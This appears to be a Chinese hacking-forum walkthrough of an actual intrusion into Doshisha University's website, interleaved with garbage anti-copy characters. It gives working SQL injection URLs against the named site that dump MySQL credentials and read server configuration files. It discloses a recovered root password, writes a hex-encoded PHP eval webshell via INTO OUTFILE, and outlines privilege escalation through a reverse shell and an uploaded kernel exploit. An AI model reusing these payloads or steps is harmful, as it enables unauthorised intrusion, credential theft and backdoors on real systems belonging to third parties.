入侵日本同志社大学技术分析- ~% \: ~) Q3 d4 d$ R
7 ?# Y6 f# |: Q5 Y; whttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
) A6 u# X2 O, _( s3 |6 Y# B5 Y8 \然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
+ r/ b1 E- r3 ~7 C4 C5 ?
+ t0 H+ g1 B+ R- R, t8 b* Phttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
' j: {7 `% V$ f a6 B- z- S9 m9 T8 b Y7 b
: s2 X/ D7 d9 z4 f4 ^7 ?# [
! C: V7 L" m1 l0 K' Y* \//@@datadir为数据库文件路径
- k6 Y1 X B" ^, P; u# d* x# O3 C
8 |5 X1 g6 J S( j7 w2 K! K- `4 I5 C8 j( F7 T$ t& v7 P
//load_file读取网站容器apache的配置文件
" [ L6 W C4 S- b+ D: _: c6 w
- L& V: m: ` }) G1 T
7 F6 v) w# {1 ?4 h1 u//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 8 e! j4 P/ s# L: H( h
复制代码6 L- ~7 a/ k- e
+ a' e5 j' U0 j+ L
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
6 t' C% D0 a& ^9 t
" h' Q% Z- U# j. \% f. Y而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。( W; n3 O7 E; e5 ?" ^! R+ Q7 o
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
) [3 v- [, D; [ i e _
; l/ S2 Z8 o2 A! g' `2 o前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。' H2 O, ]- L% T( V! x. [
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html) v1 J0 ^/ l U6 Z1 i# d0 L# |
- Y- R& Z. s1 y8 y
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
+ }: D/ l9 e0 T0 o; r: G虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。5 S/ Q8 z! Q( [! U# c
直接写一句话:
3 y; A4 \: {& ^3 k- x9 w- _% N( _
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
+ R5 I1 m0 `& N# G. J- E$ j9 T0 H. i" B) o+ v" F* I. W
& u U0 W% K/ T% T
8 ?- H L6 X$ L- m- ~
//最后的#是为了闭合前面的语句 ! w2 `: _/ Y3 r" H* _: m+ S
8 N( u$ K! N8 m- ?, P8 @- a5 @
# D7 F: n7 [+ S. k/ K5 T7 t/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 2 y9 p) T! i/ ]8 s/ F6 S
x3 ]9 ]; [! C) w5 l, J* {( N" V( y. t2 ?
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ ) ~) L4 u3 Y& p% b' I
4 D4 o! d, x6 q) ~+ J5 r4 u9 H4 z$ N: r
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 & p% K3 ~' s* H+ P5 h
; e c5 _! v' @# a- I# Z; _
1 U4 R% q# v- Y) i/ I
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
0 H( K7 U4 h% s4 w//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
2 C6 Q# m7 a# q复制代码* ~( o1 g0 F" @! \
) a6 s% F, e! l" @" d: y) T; t
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
% Z, V+ S2 p% R# w: l+ k1 t通过上述注入语句,我们就得到了一句话木马:' J9 h1 y+ F+ ?8 B+ t
% H# x, n0 |2 x/ c; T7 J+ C. p6 m2 [" a
' p+ B2 Y( F3 L* ~; `. d0 g4 {" Y& S
( P, m, M: P9 Y2 H0 e3 g. d) A9 P2 v% m
http://www.doshisha.ac.jp/english/engnews_img/aa.php ' C8 C8 @4 V$ m! {% E
复制代码& A6 Q% s/ f- `/ `
. x. A' H6 k2 y; U
用菜刀连接,密码是cmd,如图所示:6 s( q- l- e* ~. d6 f8 J
然后在命令提示行里看了一下,现在的权限是:) W0 Q+ {; K! B- b D
- t0 y) g" O, W) @1 C4 w* j+ p+ y
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
n7 ^* M7 \5 f7 i0 O* D3 ]好在赋权给这个文件夹不需要root,直接执行赋权语句:
5 Y- h% k4 ~1 O: O" F3 q6 C+ A1 h
$ u& A+ a5 n6 E. M$ B7 _ ' R- \3 P( |" B. p( n2 M
: }: f7 {5 e# |% p
: t4 g1 b0 B' N6 q
+ P, n/ f! L0 p; m: j( L. P2 q. U
chmod +x /tmp/
) K' [4 Q6 S/ c! o4 J复制代码
# o1 R+ G9 x0 L8 o) Z9 [+ H; I1 k3 D! D* }3 E3 J
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行/ o# N! |* x/ y( X4 v8 l7 S; ?2 O
然后就查了一下内核版本:$ p4 ]% y% v d/ K+ a1 U$ J2 y
# @: X! B: L0 T& H/ _: X
. P; c6 C0 Q9 ~6 _7 I O
5 u6 ^. q2 J9 T8 F% _' g& V - C1 O+ A( r; a
, p+ P/ k6 w; o1 L5 nuname-a
) `# ]' n/ P9 M $ @. _; e4 S( i y
9 v( Q( H$ I6 S/ y/ U9 Q4 P% d C' d//其实lsb_release -a 8 V' }9 u% F7 e( Z* n
复制代码$ }3 D0 _: y) T2 _9 [
) Q O" k$ F: z3 r% I5 N0 u8 F如图所示:
1 u+ o0 C4 B5 k* M) r) I6 G5 Q4 G' V& O/ C
内核版本:linux mainz1 2.6.28-194.e15$ x) j2 y! k6 Z) p- d, @5 B
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)7 d% _/ V4 |( r& B/ v: c
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹" M3 c! ^+ ]% m6 ~: |& }) [
: I' _% p1 W5 p
然后给予执行权限
2 B2 a5 _9 q2 `* I' G7 ~! x一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
3 R) `2 P, f# o% S
" K$ C! G: i" G& N c; a
3 d' L: Q3 K+ n6 C2 ^& }
% [. h+ A& T8 R' W: d 9 e( b5 ?& J2 Y4 a
, L. t" l9 K9 \" ^
chmod +x /tmp/2.6.18-194 $ _) [4 f5 u- N& Q" [4 F( C
复制代码 然后直接执行!~
/ ~" G! S% B/ e1 Z" h- v8 _4 x; ?' @% Q+ f+ l: L
总结:& `% w; S* [( O j, b
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
5 D6 T* P5 S/ e, g. o; {' W6 t9 q提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
/ ^6 X- y: K. J0 F) q5 m1 P; N4 [7 `/ l: Q% Q
|